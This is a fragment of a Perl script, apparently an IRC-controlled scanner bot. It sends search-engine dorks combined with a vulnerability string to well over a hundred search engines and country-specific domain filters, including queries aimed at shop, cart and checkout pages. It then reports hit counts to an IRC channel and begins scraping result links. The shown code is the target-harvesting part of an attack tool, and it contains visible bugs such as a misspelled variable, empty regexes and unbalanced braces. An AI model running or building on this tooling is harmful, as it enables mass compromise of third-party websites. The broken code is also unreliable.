if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
if ($engine eq "af") { my @af = &af($dork); push(@total,@af); }
if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); }
if ($engine eq "al") { my @al = &al($dork); push(@total,@al); }
if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); }
if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); }
if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); }
if ($engine eq "am") { my @am = &am($dork); push(@total,@am); }
if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); }
if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); }
if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); }
if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); }
if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); }
if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); }
if ($engine eq "io") { my @io = &io($dork); push(@total,@io); }
if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); }
if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); }
if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); }
if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); }
if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); }
if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); }
if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); }
if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); }
if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); }
if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); }
if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); }
if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); }
if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); }
if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); }
if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); }
if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); }
if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); }
if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); }
if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); }
if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); }
if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); }
if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); }
if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); }
if ($engine eq "la") { my @la = &la($dork); push(@total,@la); }
if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); }
if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); }
if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); }
if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); }
if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); }
if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); }
if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); }
if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); }
if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); }
if ($engine eq "md") { my @md = &md($dork); push(@total,@md); }
if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); }
if ($engine eq "me") { my @me = &me($dork); push(@total,@me); }
if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); }
if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); }
if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); }
if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); }
if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); }
if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); }
if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); }
if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); }
if ($engine eq "re") { my @re = &re($dork); push(@total,@re); }
if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); }
if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); }
if ($engine eq "st") { my @st = &st($dork); push(@total,@st); }
if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); }
if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); }
if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); }
if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); }
if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); }
if ($engine eq "so") { my @so = &so($dork); push(@total,@so); }
if ($engine eq "su") { my @su = &su($dork); push(@total,@su); }
if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); }
if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); }
if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); }
if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); }
if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); }
if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); }
if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); }
if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); }
if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); }
if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); }
if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); }
if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); }
if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
if ($engine eq "WaLLa") { my @walla = &walla($dork,$channel); push(@total,@walla); }
if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); }
if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); }
if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); }
if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); }
if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); }
if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); }
if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); }
if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); }
if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); }
if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
if ($engine eq "shuncengAE") { my @shuncengae = &shunceng($dork."+site:ae"); push(@total,@shuncengae); }
if ($engine eq "shuncengAR") { my @shuncengar = &shunceng($dork."+site:ar"); push(@total,@shuncengar); }
if ($engine eq "shuncengAT") { my @shuncengat = &shunceng($dork."+site:at"); push(@total,@shuncengat); }
if ($engine eq "shuncengAU") { my @shuncengau = &shunceng($dork."+site:au"); push(@total,@shuncengau); }
if ($engine eq "shuncengBR") { my @shuncengbr = &shunceng($dork."+site:br"); push(@total,@shuncengbr); }
if ($engine eq "shuncengCA") { my @shuncengca = &shunceng($dork."+site:ca"); push(@total,@shuncengca); }
if ($engine eq "shuncengCL") { my @shuncengcl = &shunceng($dork."+site:cl"); push(@total,@shuncengcl); }
if ($engine eq "shuncengCN") { my @shuncengcn = &shunceng($dork."+site:cn"); push(@total,@shuncengcn); }
if ($engine eq "shuncengCOM") { my @shuncengcom = &shunceng($dork."+site:com"); push(@total,@shuncengcom); }
if ($engine eq "shuncengCZ") { my @shuncengcz = &shunceng($dork."+site:cz"); push(@total,@shuncengcz); }
if ($engine eq "shuncengDE") { my @shuncengde = &shunceng($dork."+site:de"); push(@total,@shuncengde); }
if ($engine eq "shuncengDK") { my @shuncengdk = &shunceng($dork."+site:dk"); push(@total,@shuncengdk); }
if ($engine eq "shuncengES") { my @shuncenges = &shunceng($dork."+site:es"); push(@total,@shuncenges); }
if ($engine eq "shuncengEU") { my @shuncengeu = &shunceng($dork."+site:eu"); push(@total,@shuncengeu); }
if ($engine eq "shuncengFR") { my @shuncengfr = &shunceng($dork."+site:fr"); push(@total,@shuncengfr); }
if ($engine eq "shuncengHU") { my @shuncenghu = &shunceng($dork."+site:hu"); push(@total,@shuncenghu); }
if ($engine eq "shuncengID") { my @shuncengid = &shunceng($dork."+site:id"); push(@total,@shuncengid); }
if ($engine eq "shuncengIL") { my @shuncengil = &shunceng($dork."+site:il"); push(@total,@shuncengil); }
if ($engine eq "shuncengIN") { my @shuncengin = &shunceng($dork."+site:in"); push(@total,@shuncengin); }
if ($engine eq "shuncengINFO") { my @shuncenginfo = &shunceng($dork."+site:info"); push(@total,@shuncenginfo); }
if ($engine eq "shuncengIR") { my @shuncengir = &shunceng($dork."+site:ir"); push(@total,@shuncengir); }
if ($engine eq "shuncengIT") { my @shuncengit = &shunceng($dork."+site:it"); push(@total,@shuncengit); }
if ($engine eq "shuncengJP") { my @shuncengjp = &shunceng($dork."+site:jp"); push(@total,@shuncengjp); }
if ($engine eq "shuncengKR") { my @shuncengkr = &shunceng($dork."+site:kr"); push(@total,@shuncengkr); }
if ($engine eq "shuncengMX") { my @shuncengmx = &shunceng($dork."+site:mx"); push(@total,@shuncengmx); }
if ($engine eq "shuncengMY") { my @shuncengmy = &shunceng($dork."+site:my"); push(@total,@shuncengmy); }
if ($engine eq "shuncengNeT") { my @shuncengnet = &shunceng($dork."+site:net"); push(@total,@shuncengnet); }
if ($engine eq "shuncengNL") { my @shuncengnl = &shunceng($dork."+site:nl"); push(@total,@shuncengnl); }
if ($engine eq "shuncengORG") { my @shuncengorg = &shunceng($dork."+site:org"); push(@total,@shuncengorg); }
if ($engine eq "shuncengPH") { my @shuncengph = &shunceng($dork."+site:ph"); push(@total,@shuncengph); }
if ($engine eq "shuncengPL") { my @shuncengpl = &shunceng($dork."+site:pl"); push(@total,@shuncengpl); }
if ($engine eq "shuncengRO") { my @shuncengro = &shunceng($dork."+site:ro"); push(@total,@shuncengro); }
if ($engine eq "shuncengRU") { my @shuncengru = &shunceng($dork."+site:ru"); push(@total,@shuncengru); }
if ($engine eq "shuncengTH") { my @shuncength = &shunceng($dork."+site:th"); push(@total,@shuncength); }
if ($engine eq "shuncengUA") { my @shuncengua = &shunceng($dork."+site:ua"); push(@total,@shuncengua); }
if ($engine eq "shuncengUK") { my @shuncenguk = &shunceng($dork."+site:uk"); push(@total,@shuncenguk); }
if ($engine eq "shuncengUS") { my @shuncengus = &shunceng($dork."+site:us"); push(@total,@shuncengus); }
if ($engine eq "shuncengSI") { my @shuncengsi = &shunceng($dork."+site:si"); push(@total,@shuncengsi); }
if ($engine eq "shuncengBE") { my @shuncengbe = &shunceng($dork."+site:be"); push(@total,@shuncengbe); }
if ($engine eq "shuncengBIZ") { my @shuncengbiz = &shunceng($dork."+site:biz"); push(@total,@shuncengbiz); }
if ($engine eq "domAE") { my @domae = &dom($dork."+site:ae"); push(@total,@domae); }
if ($engine eq "domAR") { my @domar = &dom($dork."+site:ar"); push(@total,@domar); }
if ($engine eq "domAT") { my @domat = &dom($dork."+site:at"); push(@total,@domat); }
if ($engine eq "domAU") { my @domau = &dom($dork."+site:au"); push(@total,@domau); }
if ($engine eq "domBR") { my @dombr = &dom($dork."+site:br"); push(@total,@dombr); }
if ($engine eq "domCA") { my @domca = &dom($dork."+site:ca"); push(@total,@domca); }
if ($engine eq "domCL") { my @domcl = &dom($dork."+site:cl"); push(@total,@domcl); }
if ($engine eq "domCN") { my @domcn = &dom($dork."+site:cn"); push(@total,@domcn); }
if ($engine eq "domCOM") { my @domcom = &dom($dork."+site:com"); push(@total,@domcom); }
if ($engine eq "domCZ") { my @domcz = &dom($dork."+site:cz"); push(@total,@domcz); }
if ($engine eq "domDE") { my @domde = &dom($dork."+site:de"); push(@total,@domde); }
if ($engine eq "domDK") { my @domdk = &dom($dork."+site:dk"); push(@total,@domdk); }
if ($engine eq "domES") { my @domes = &dom($dork."+site:es"); push(@total,@domes); }
if ($engine eq "domEU") { my @domeu = &dom($dork."+site:eu"); push(@total,@domeu); }
if ($engine eq "domFR") { my @domfr = &dom($dork."+site:fr"); push(@total,@domfr); }
if ($engine eq "domHU") { my @domhu = &dom($dork."+site:hu"); push(@total,@domhu); }
if ($engine eq "domID") { my @domid = &dom($dork."+site:id"); push(@total,@domid); }
if ($engine eq "domIL") { my @domil = &dom($dork."+site:il"); push(@total,@domil); }
if ($engine eq "domIN") { my @domin = &dom($dork."+site:in"); push(@total,@domin); }
if ($engine eq "domINFO") { my @dominfo = &dom($dork."+site:info"); push(@total,@dominfo); }
if ($engine eq "domIR") { my @domir = &dom($dork."+site:ir"); push(@total,@domir); }
if ($engine eq "domIT") { my @domit = &dom($dork."+site:it"); push(@total,@domit); }
if ($engine eq "domJP") { my @domjp = &dom($dork."+site:jp"); push(@total,@domjp); }
if ($engine eq "domKR") { my @domkr = &dom($dork."+site:kr"); push(@total,@domkr); }
if ($engine eq "domMX") { my @dommx = &dom($dork."+site:mx"); push(@total,@dommx); }
if ($engine eq "domMY") { my @dommy = &dom($dork."+site:my"); push(@total,@dommy); }
if ($engine eq "domNeT") { my @domnet = &dom($dork."+site:net"); push(@total,@domnet); }
if ($engine eq "domNL") { my @domnl = &dom($dork."+site:nl"); push(@total,@domnl); }
if ($engine eq "domORG") { my @domorg = &dom($dork."+site:org"); push(@total,@domorg); }
if ($engine eq "domPH") { my @domph = &dom($dork."+site:ph"); push(@total,@domph); }
if ($engine eq "domPL") { my @dompl = &dom($dork."+site:pl"); push(@total,@dompl); }
if ($engine eq "domRO") { my @domro = &dom($dork."+site:ro"); push(@total,@domro); }
if ($engine eq "domRU") { my @domru = &dom($dork."+site:ru"); push(@total,@domru); }
if ($engine eq "domTH") { my @domth = &dom($dork."+site:th"); push(@total,@domth); }
if ($engine eq "domUA") { my @domua = &dom($dork."+site:ua"); push(@total,@domua); }
if ($engine eq "domUK") { my @domuk = &dom($dork."+site:uk"); push(@total,@domuk); }
if ($engine eq "domUS") { my @domus = &dom($dork."+site:us"); push(@total,@domus); }
if ($engine eq "domSI") { my @domsi = &dom($dork."+site:si"); push(@total,@domsi); }
if ($engine eq "domBE") { my @dombe = &dom($dork."+site:be"); push(@total,@dombe); }
if ($engine eq "domBIZ") { my @dombiz = &dom($dork."+site:biz"); push(@total,@dombiz); }
if ($engine eq "Marlboro") { my @mar = &file($dork."+Posted on *"); push(@total,@mar); }
if ($engine eq "Mustang") { my @mus = &file($dork."+Porn Web"); push(@total,@mus); }
if ($engine eq "U-Mild") { my @U = &file($dork."+Shop File"); push(@total,@U); }
if ($engine eq "Surya") { my @Sur = &file($dork."+Shop Website"); push(@total,@Sur); }
if ($engine eq "Vegas") { my @Veg = &file($dork."+checkout"); push(@total,@Veg); }
if ($engine eq "Viper") { my @Vip = &file($dork."+cart*"); push(@total,@Vip); }
if ($engine eq "Tanggida'a") { my @Td = &cek($dork."+Shoping cart"); push(@total,@Td); }
if ($engine eq "Tanggikiki") { my @Tkk = &cek($dork."+Powered By *"); push(@total,@Tkk); }
if ($engine eq "Bengsol") { my @Beng = &cek($dork."+copyright"); push(@total,@Beng); }
if ($engine eq "Tapa") { my @Ta = &cek($dork."+Fuck Web"); push(@total,@Ta); }
if ($engine eq "Ayula") { my @Ay = &cek($dork."+Logo"); push(@total,@Ay); }
if ($engine eq "Dulomo") { my @Du = &cek($dork."+WebShop"); push(@total,@Du); }
if ($engine eq "MicroPhone") { my @MP = &jabrix($dork."+Posted on *"); push(@total,@MP); }
if ($engine eq "Monitor") { my @moni = &jabrix($dork."Porn Web"); push(@total,@moni); }
if ($engine eq "Mouser") { my @mou = &jabrix($dork."Shop File"); push(@total,@mou); }
if ($engine eq "Keyboard") { my @Key = &jabrix($dork."Shop Website"); push(@total,@Key); }
if ($engine eq "Cable") { my @Cab = &jabrix($dork."Find"); push(@total,@Cab); }
if ($engine eq "CPU") { my @CPU = &jabrix($dork."card*"); push(@total,@CPU); }
if ($engine eq "Modem") { my @Mod = &samri($dork."WebShop"); push(@total,@Mod); }
if ($engine eq "Rooter") { my @Root = &samri($dork."+powered "); push(@total,@Root); }
if ($engine eq "Printer") { my @Prin = &samri($dork."copyright"); push(@total,@Prin); }
if ($engine eq "FlashDISC") { my @FD = &samri($dork."Fuck Web"); push(@total,@FD); }
if ($engine eq "CDroom") { my @Dr = &samri($dork."Logo"); push(@total,@Dr); }
if ($engine eq "HDD") { my @HDD = &samri($dork."Porn"); push(@total,@HDD); }
if ($engine eq "suspectAE") { my @suspectae = &suspect($dork. $vuln. "+site:ae"); push(@total,@suspectae); }
if ($engine eq "suspectAR") { my @suspectar = &suspect($dork. $vuln. "+site:ar"); push(@total,@suspectar); }
if ($engine eq "suspectAT") { my @suspectat = &suspect($dork. $vuln. "+site:at"); push(@total,@suspectat); }
if ($engine eq "suspectAU") { my @suspectau = &suspect($dork. $vuln. "+site:au"); push(@total,@suspectau); }
if ($engine eq "suspectBR") { my @suspectbr = &suspect($dork. $vuln. "+site:br"); push(@total,@suspectbr); }
if ($engine eq "suspectCA") { my @suspectca = &suspect($dork. $vuln. "+site:ca"); push(@total,@suspectca); }
if ($engine eq "suspectCL") { my @suspectcl = &suspect($dork. $vuln. "+site:cl"); push(@total,@suspectcl); }
if ($engine eq "suspectCN") { my @suspectcn = &suspect($dork. $vuln. "+site:cn"); push(@total,@suspectcn); }
if ($engine eq "suspectCOM") { my @suspectcom = &suspect($dork. $vuln. "+site:com"); push(@total,@suspectcom); }
if ($engine eq "suspectCZ") { my @suspectcz = &suspect($dork. $vuln. "+site:cz"); push(@total,@suspectcz); }
if ($engine eq "suspectDE") { my @suspectde = &suspect($dork. $vuln. "+site:de"); push(@total,@suspectde); }
if ($engine eq "suspectDK") { my @suspectdk = &suspect($dork. $vuln. "+site:dk"); push(@total,@suspectdk); }
if ($engine eq "suspectES") { my @suspectes = &suspect($dork. $vuln. "+site:es"); push(@total,@suspectes); }
if ($engine eq "suspectEU") { my @suspecteu = &suspect($dork. $vuln. "+site:eu"); push(@total,@suspecteu); }
if ($engine eq "suspectFR") { my @suspectfr = &suspect($dork. $vuln. "+site:fr"); push(@total,@suspectfr); }
if ($engine eq "suspectHU") { my @suspecthu = &suspect($dork. $vuln. "+site:hu"); push(@total,@suspecthu); }
if ($engine eq "suspectID") { my @suspectid = &suspect($dork. $vuln. "+site:id"); push(@total,@suspectid); }
if ($engine eq "suspectIL") { my @suspectil = &suspect($dork. $vuln. "+site:il"); push(@total,@suspectil); }
if ($engine eq "suspectIN") { my @suspectin = &suspect($dork. $vuln. "+site:in"); push(@total,@suspectin); }
if ($engine eq "suspectINFO") { my @suspectinfo = &suspect($dork. $vuln. "+site:info"); push(@total,@suspectinfo); }
if ($engine eq "suspectIR") { my @suspectir = &suspect($dork. $vuln. "+site:ir"); push(@total,@suspectir); }
if ($engine eq "suspectIT") { my @suspectit = &suspect($dork. $vuln. "+site:it"); push(@total,@suspectit); }
if ($engine eq "suspectJP") { my @suspectjp = &suspect($dork. $vuln. "+site:jp"); push(@total,@suspectjp); }
if ($engine eq "suspectKR") { my @suspectkr = &suspect($dork. $vuln. "+site:kr"); push(@total,@suspectkr); }
if ($engine eq "suspectMX") { my @suspectmx = &suspect($dork. $vuln. "+site:mx"); push(@total,@suspectmx); }
if ($engine eq "suspectMY") { my @suspectmy = &suspect($dork. $vuln. "+site:my"); push(@total,@suspectmy); }
if ($engine eq "suspectNeT") { my @suspectnet = &suspect($dork. $vuln. "+site:net"); push(@total,@suspectnet); }
if ($engine eq "suspectNL") { my @suspectnl = &suspect($dork. $vuln. "+site:nl"); push(@total,@suspectnl); }
if ($engine eq "suspectORG") { my @suspectorg = &suspect($dork. $vuln. "+site:org"); push(@total,@suspectorg); }
if ($engine eq "suspectPH") { my @suspectph = &suspect($dork. $vuln. "+site:ph"); push(@total,@suspectph); }
if ($engine eq "suspectPL") { my @suspectpl = &suspect($dork. $vuln. "+site:pl"); push(@total,@suspectpl); }
if ($engine eq "suspectRO") { my @suspectro = &suspect($dork. $vuln. "+site:ro"); push(@total,@suspectro); }
if ($engine eq "suspectRU") { my @suspectru = &suspect($dork. $vuln. "+site:ru"); push(@total,@suspectru); }
if ($engine eq "suspectTH") { my @suspectth = &suspect($dork. $vuln. "+site:th"); push(@total,@suspectth); }
if ($engine eq "suspectUA") { my @suspectua = &suspect($dork. $vuln. "+site:ua"); push(@total,@suspectua); }
if ($engine eq "suspectUK") { my @suspectuk = &suspect($dork. $vuln. "+site:uk"); push(@total,@suspectuk); }
if ($engine eq "suspectUS") { my @suspectus = &suspect($dork. $vuln. "+site:us"); push(@total,@suspectus); }
if ($engine eq "suspectSI") { my @suspectsi = &suspect($dork. $vuln. "+site:si"); push(@total,@suspectsi); }
if ($engine eq "suspectBE") { my @suspectbe = &suspect($dork. $vuln. "+site:be"); push(@total,@suspectbe); }
if ($engine eq "suspectBIZ") { my @suspectbiz = &suspect($dork. $vuln. "+site:biz"); push(@total,@suspectbiz); }
if ($engine eq "engAE") { my @engae = &indra($dork. $vuln. "+site:ae"); push(@total,@engae); }
if ($engine eq "engAR") { my @engar = &indra($dork. $vuln. "+site:ar"); push(@total,@engar); }
if ($engine eq "engAT") { my @engat = &indra($dork. $vuln. "+site:at"); push(@total,@engat); }
if ($engine eq "engAU") { my @engau = &indra($dork. $vuln. "+site:au"); push(@total,@engau); }
if ($engine eq "engBR") { my @engbr = &indra($dork. $vuln. "+site:br"); push(@total,@engbr); }
if ($engine eq "engCA") { my @engca = &indra($dork. $vuln. "+site:ca"); push(@total,@engca); }
if ($engine eq "engCL") { my @engcl = &indra($dork. $vuln. "+site:cl"); push(@total,@engcl); }
if ($engine eq "engCN") { my @engcn = &indra($dork. $vuln. "+site:cn"); push(@total,@engcn); }
if ($engine eq "engCOM") { my @engcom = &indra($dork. $vuln. "+site:com"); push(@total,@engcom); }
if ($engine eq "engCZ") { my @engcz = &indra($dork. $vuln. "+site:cz"); push(@total,@engcz); }
if ($engine eq "engDE") { my @engde = &indra($dork. $vuln. "+site:de"); push(@total,@engde); }
if ($engine eq "engDK") { my @engdk = &indra($dork. $vuln. "+site:dk"); push(@total,@engdk); }
if ($engine eq "engES") { my @enges = &indra($dork. $vuln. "+site:es"); push(@total,@enges); }
if ($engine eq "engEU") { my @engeu = &indra($dork. $vuln. "+site:eu"); push(@total,@engeu); }
if ($engine eq "engFR") { my @engfr = &indra($dork. $vuln. "+site:fr"); push(@total,@engfr); }
if ($engine eq "engHU") { my @enghu = &indra($dork. $vuln. "+site:hu"); push(@total,@enghu); }
if ($engine eq "engID") { my @engid = &indra($dork. $vuln. "+site:id"); push(@total,@engid); }
if ($engine eq "engIL") { my @engil = &indra($dork. $vuln. "+site:il"); push(@total,@engil); }
if ($engine eq "engIN") { my @engin = &indra($dork. $vuln. "+site:in"); push(@total,@engin); }
if ($engine eq "engINFO") { my @enginfo = &indra($dork. $vuln. "+site:info"); push(@total,@enginfo); }
if ($engine eq "engIR") { my @engir = &indra($dork. $vuln. "+site:ir"); push(@total,@engir); }
if ($engine eq "engIT") { my @engit = &indra($dork. $vuln. "+site:it"); push(@total,@engit); }
if ($engine eq "engJP") { my @engjp = &indra($dork. $vuln. "+site:jp"); push(@total,@engjp); }
if ($engine eq "engKR") { my @engkr = &indra($dork. $vuln. "+site:kr"); push(@total,@engkr); }
if ($engine eq "engMX") { my @engmx = &indra($dork. $vuln. "+site:mx"); push(@total,@engmx); }
if ($engine eq "engMY") { my @engmy = &indra($dork. $vuln. "+site:my"); push(@total,@engmy); }
if ($engine eq "engNeT") { my @engnet = &indra($dork. $vuln. "+site:net"); push(@total,@engnet); }
if ($engine eq "engNL") { my @engnl = &indra($dork. $vuln. "+site:nl"); push(@total,@engnl); }
if ($engine eq "engORG") { my @engorg = &indra($dork. $vuln. "+site:org"); push(@total,@engorg); }
if ($engine eq "engPH") { my @engph = &indra($dork. $vuln. "+site:ph"); push(@total,@engph); }
if ($engine eq "engPL") { my @engpl = &indra($dork. $vuln. "+site:pl"); push(@total,@engpl); }
if ($engine eq "engRO") { my @engro = &indra($dork. $vuln. "+site:ro"); push(@total,@engro); }
if ($engine eq "engRU") { my @engru = &indra($dork. $vuln. "+site:ru"); push(@total,@engru); }
if ($engine eq "engTH") { my @ength = &indra($dork. $vuln. "+site:th"); push(@total,@ength); }
if ($engine eq "engUA") { my @engua = &indra($dork. $vuln. "+site:ua"); push(@total,@engua); }
if ($engine eq "engUK") { my @enguk = &indra($dork. $vuln. "+site:uk"); push(@total,@enguk); }
if ($engine eq "engUS") { my @engus = &indra($dork. $vuln. "+site:us"); push(@total,@engus); }
if ($engine eq "engSI") { my @engsi = &indra($dork. $vuln. "+site:si"); push(@total,@engsi); }
if ($engine eq "engBE") { my @engbe = &indra($dork. $vuln. "+site:be"); push(@total,@engbe); }
if ($engine eq "engBIZ") { my @engbiz = &indra($dork. $vuln. "+site:biz"); push(@total,@engbiz); }
if ($engine eq "GooGLe1") { my @google1 = google1($dork); push(@total,@google1); }
if ($engine eq "GooGLe3") { my @google3 = google3($dork); push(@total,@google3); }
if ($engine eq "GooGLe4") { my @google4 = google4($dork); push(@total,@google4); }
if ($engine eq "GooGLe5") { my @google5 = google5($dork); push(@total,@google5); }
if ($engine eq "GooGLe6") { my @google6 = google6($dork); push(@total,@google6); }
if ($engine eq "GooGLe7") { my @google7 = google7($dork); push(@total,@google7); }
if ($engine eq "GooGLe8") { my @google8 = google8($dork); push(@total,@google8); }
if ($engine eq "GooGLe9") { my @google9 = google9($dork); push(@total,@google9); }
if ($engine eq "GooGLea1") { my @googlea1 = googlea1($dork); push(@total,@googlea1); }
if ($engine eq "GooGLea2") { my @googlea2 = googlea2($dork); push(@total,@googlea2); }
if ($engine eq "GooGLeC1") { my @googleC1 = googleC1($dork); push(@total,@googleC1); }
if ($engine eq "GooGLeC2") { my @googleC2 = googleC2($dork); push(@total,@googleC2); }
if ($engine eq "GooGLeC3") { my @googleC3 = googleC3($dork); push(@total,@googleC3); }
if ($engine eq "GooGLeC4") { my @googleC4 = googleC4($dork); push(@total,@googleC4); }
if ($engine eq "GooGLeC5") { my @googleC5 = googleC5($dork); push(@total,@googleC5); }
@clean = &clean(@total);
if ($silentmode == 0) {
&msg("$channel","10|14$engine10| 10(14".scalar(@total)."10) 10(14".scalar(@clean)."10) "); }
return @clean;
}
##################################################################################
sub isFound() {
my $status = 0;
my $link = $_[0];
my $reqexp = $_[1];
my $res = &get_content($link);
if ($res =~ /$reqexp/) { $status = 1 }
return $status;
}
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout($timot);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
######################################### SEARCH ENGINE
sub jack() {
my @list;
my $key = $_[0];
my $jackx = $_[1];
for (my $i=0; $i<=1000; $i+=100){
my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
my $res = &search_engine_query($search);
while ($res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub bypass2() {
my @list; my $key = $_[0];
my $search = ($bypass2.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google1() {
my @list;
my $key = $_[0];
